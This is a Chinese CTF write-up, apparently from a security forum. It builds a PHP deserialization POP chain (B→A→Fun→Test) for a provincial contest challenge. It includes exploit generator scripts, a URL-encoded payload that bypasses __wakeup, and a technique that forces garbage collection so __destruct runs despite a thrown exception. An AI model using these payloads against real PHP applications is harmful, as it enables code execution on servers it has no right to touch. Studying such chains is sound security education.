首页
社区
课程
招聘
[原创]利用PHP垃圾回收机制构造POP链
2022-3-3 16:51 7580

[原创]利用PHP垃圾回收机制构造POP链

2022-3-3 16:51
7580

这本来是第四届浙江省赛的题目,有很多解法,但在赛后受歪四大佬指点。一个很“怪”的解法出现了,可能是我见识少。先放原题和一种常规解法。

 

原题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}
 
class Test{
    public function getFlag(){
        system("cat /flag?");
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}
 
class A{
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}
 
class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}

由于赛后没有环境,所以在phpstudy里复现的,把getFlag里的cat语句修改为了包含flag.php,并且输出flag。其实成功调用那个getFlag方法就可以。

常规思路

如何调用getFlag?在类Fun中call_user_func函数可以做到,所以只需调用Fun里的__call,而调用Fun中不存在的方法即可,由此可以看到类A中__get方法中含有调用方法的语句。调用不可访问的属性触发__get方法,这个不可访问的属性包括私有属性以及不存在的属性。这里通过类B即可达到。

 

注意:call_user_func函数,第一个参数是函数名,后面的参数是此函数的参数。若调用的函数在类里,那么这个参数要用数组形式传递,第一个元素为类名,第二个元素为函数名。绕过__wakeup修改属性个数即可,可能包含不可见字符,要编码。

 

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Fun{
    private $func;
    public function __construct(){
    $this->func = [new Test,'getFlag'];//也可以写为$this->func = "Test::getFlag";这样由于没有实例化Test类,还不会触发Test里的__wakeup()
    }
}
 
class Test{
    public function getFlag(){
    }
}
 
class A{
    public $a;
}
 
class B{
    public $p;
}
 
$Test = new Test;
$Fun = new Fun;
$a = new A;
$b = new B;
$a->a = $Fun;
$b->a = $a;
 
$r = serialize($b);
$r1 = str_replace('"Fun":1:','"Fun":2:',$r);
echo urlencode($r1);

payload:

1
O%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3BN%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A2%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Test%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22getFlag%22%3B%7D%7D%7D%7D

强制触发垃圾回收机制思路

在常规思路中我们的pop链是B→A→Fun→Test,可是B里的__destruct()方法貌似没有主动触发。在之前一篇文章说过destruct的触发

__destruct(析构函数)当某个对象成为垃圾或者当对象被显式销毁时执行

显式销毁,当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
隐式销毁,PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉

 

在常规思路中destruct是隐式销毁触发的,当然这里使用强行GC

 

首先我们要简单了解垃圾回收是什么,就是把内存中不需要使用的量给清除掉,收回它所占用的空间。

旧的GC

在PHP5.3版本之前,使用的垃圾回收机制是单纯的“引用计数”。即:
①每个内存对象都分配一个计数器,当内存对象被变量引用时,计数器+1;
②当变量引用撤掉后(执行unset()后),计数器-1;
③当计数器=0时,表明内存对象没有被使用,该内存对象则进行销毁,垃圾回收完成。

 

这个时候就出现了问题,我自己引用我自己,自身一个,自己又被引用,所以计数器是2,但我将它销毁,才减1,此时明明已销毁,但还是1,所以无法进行回收,产生了内存泄漏。

新的GC

每个php变量存在一个叫"zval"的变量容器中。一个zval变量容器,除了包含变量的类型和值,还包括两个字节的额外信息。

 

第一个是"is_ref",是个bool值,用来标识这个变量是否是属于引用集合(reference set)。通过这个字节,php引擎才能把普通变量和引用变量区分开来,由于php允许用户通过使用&来使用自定义引用,zval变量容器中还有一个内部引用计数机制,来优化内存使用。

 

第二个额外字节是"refcount",用以表示指向这个zval变量容器的变量(也称符号即symbol)个数。所有的符号存在一个符号表中,其中每个符号都有作用域(scope)。简单的理解如下图所示:

 

 

具体的代码示例,网上的太多了。装个Xdebug插件就可以测试,这里就不赘述了。

触发垃圾回收

该算法的实现可以在“Zend/zend_gc.c”( https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c )中找到。每当zval被销毁时(例如:在该zval上调用unset时),垃圾回收算法会检查其是否为数组或对象。除了数组和对象外,所有其他原始数据类型都不能包含循环引用。这一检查过程通过调用gc_zval_possible_root函数来实现。任何这种潜在的zval都被称为根(Root),并会被添加到一个名为gc_root_buffer的列表中。
然后,将会重复上述步骤,直至满足下述条件之一:
1、gc_collect_cycles()被手动调用( http://php.net/manual/de/function.gc-collect-cycles.php );
2、垃圾存储空间将满。这也就意味着,在根缓冲区的位置已经存储了10000个zval,并且即将添加新的根。这里的10000是由“Zend/zend_gc.c”( https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c )头部中GC_ROOT_BUFFER_MAX_ENTRIES所定义的默认限制。当出现第10001个zval时,将会再次调用gc_zval_possible_root,这时将会再次执行对gc_collect_cycles的调用以处理并刷新当前缓冲区,从而可以再次存储新的元素。

 

由于现实环境的种种限制,手动调用gc_collect_cycles()并不现实。也就是说,我们要强行触发gc,要靠填满垃圾存储空间

反序列化中触发垃圾回收以及问题解决

这个涉及太多php底层内容,搞了好久也只是一知半解,我这里将原理以及遇到的问题简单点说,具体示例以及资料我会放在文章末尾

 

由于反序列化过程允许一遍又一遍地传递相同的索引,所以不断填充空间。一旦重新使用数组的索引,旧元素的引用计数器就会递减。在反序列化过程中将会调用zend_hash_update,它将调用旧元素的析构函数(Destructor)。每当zval被销毁时,都会涉及到垃圾回收算法。这也就意味着,所有创建的数组都会开始填充垃圾缓冲区,直至超出其空间导致对gc_collect_cycles的调用。

 

但是问题也来了,反序列化期间所有元素的引用计数器值都大于完成后的值。这是为啥?因为反序列化过程会跟踪所有未序列化的元素,以允许设置引用。全部条目都存储在列表var_hash中。一旦反序列化过程即将完成,就会破坏函数var_destroy中的条目。

 

所以针对每个在特定元素上的附加引用,我们必须让引用计数增加2。大佬给出了一种方法:

 

ArrayObject的反序列化函数接受对另一个数组的引用,以用于初始化的目的。这也就意味着,一旦我们对一个ArrayObject进行反序列化后,就可以引用任何之前已经被反序列化过的数组。此外,这还将允许我们将整个哈希表中的所有条目递减两次。具体步骤如下:
1、得到一个应被释放的目标zval X;
2、创建一个数组Y,其中包含几处对zval X的引用:array(ref_to_X, ref_to_X, […], ref_to_X);
3、创建一个ArrayObject,它将使用数组Y的内容进行初始化,因此会返回一次由垃圾回收标记算法访问过的数组Y的所有子元素。
通过上述步骤,我们可以操纵标记算法,对数组Y中的所有引用实现两次访问。但是,在反序列化过程中创建引用将会导致引用计数器增加2,所以还要找到解决方案:
4、使用与步骤3相同的方法,额外再创建一个ArrayObject。
一旦标记算法访问第二个ArrayObject,它将开始对数组Y中的所有引用进行第三次递减。我们现在就有方法能够使引用计数器递减,可以将该方法用于对任意目标zval的引用计数器实现清零。

 

虽然能够清零任意目标zval的引用计数器,但垃圾回收算法依然没有释放,但这太高深的东西我已经头疼了,资料就是这些,知道大致原理,我们回归到题目上来。

例子

看一段代码

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$flag ="Tajang{CTFking}";
class B {
    function __destruct() {
            echo "successful\n";
            echo $flag;
    }
}
unserialize($_GET[1]);
throw new Exception('中途退出啦');

我们假如要执行__destruct方法,打印flag,就得绕过这个throw new Exception。因为__destruct方法是在该对象被回收时调用,而exception会中断该进程对该对象的销毁。

 

所以我们需要强制让php的GC(垃圾回收机制)去进行该对象的回收。上面的原理已经说了方法:需要反序列化一个数组,然后再利用第一个索引,来触发GC

1
2
3
4
5
6
7
8
<?php
class B{
    function __construct(){
        echo "Tajang";
    }
}
echo serialize(array(new B, new B));
?>

得到a:2:{i:0;O:1:"B":0:{}i:1;O:1:"B":0:{}},我们利用第一个索引,所以将后面改为第一个元素索引即可,也可以多加几个触发gc。payload:a:2{i:0;O:1:"B":0:{}i:0;i:0;}

 

回到正题,这个用垃圾回收机制的题解也就出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class B{
    public $p;
    public function __construct(){
        $this->a = new A();
    }
}
 
class A{
    public $a;
    public function __construct(){
        $this->a = new Fun();
    }
}
 
class Fun{
    private $func = 'call_user_func_array';
    public function __construct()
    {
        $this->func ="Test::getFlag";
    }
}
$o = array(new B, new B);
$a = serialize($o);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$a));

多添加几次第一个索引达到多次触发gc更好,再用空格隔开更好,于是最后三行可以修改为如下:

1
2
3
4
5
$o = array(new B, new B);
$tmp = "i:0;".serialize(new B);
$a =  serialize($o);
$z = str_replace($tmp,$tmp." ",$a);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$z));

结果都是一样的

 

 

大佬坠入Java深渊,忘记了这个GC。只能自己找、自己理解了。搞了好久查了好多的资料,还读不懂,谷歌的都是英文。本文引用了一些文章内容,还有自己的总结以及理解,如有错误,请各位指出,定会及时修改。

 

资料:

Breaking PHP’s Garbage Collection and Unserialize(众多文章的源头,全英文不太好读懂)

如何攻破PHP的垃圾回收和反序列化机制(上)

如何攻破PHP的垃圾回收和反序列化机制(下)(这两篇是译文,翻译的很好)

php反序列化小trick之强制GC(写完之后发现这个作者的demo很好,借用一下)


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回